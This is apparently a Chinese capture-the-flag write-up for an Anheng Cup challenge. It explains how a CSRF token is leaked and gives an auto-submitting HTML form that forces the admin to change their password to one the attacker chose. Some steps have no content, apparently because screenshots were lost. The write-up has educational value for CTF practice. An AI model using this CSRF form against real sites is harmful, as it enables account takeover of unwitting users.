安恒杯2月月赛-应该不是xss

Posted 2020-10-26 hell0_w

 

 

 

1. 打开题目一看，是个留言板

 

 2. 查看源码发现有几个js文件

依次打开发现在main.js里存在这样一段代码

3. 访问 /#login是登录的界面，/#chgpass是修改密码的界面，其中修改密码的时候不需要输入原密码，大概其是个csrf

4. 再查看app.js，是个修改密码的js，但是会先验证token，所以我们需要先得到token

获取token的方法原理：https://githubengineering.com/githubs-post-csp-journey/

5. 利用：

6. 监听得到token

 

7. 下一步就是构造链接，让管理员修改为我们想要的密码

在自己的服务器放置一个修改密码的页面，代码如下

<form action="http://192.168.5.94/api.php?action=chgpass" method="POST" name="chpa">
<input type="text" name="password" value="hell0_w" />
<input type="text" name="password2" value="hell0_w" />
<input type="text" name="token" value="ymYV0QvnvPbYGfUsmfmOI8Qz4wXaSQU6" />
</form>
<script>document.forms[\'chpa\'].submit();</script>

 

收到请求

 

 

 使用我们修改的密码登录，就可以看到我们想要的flag了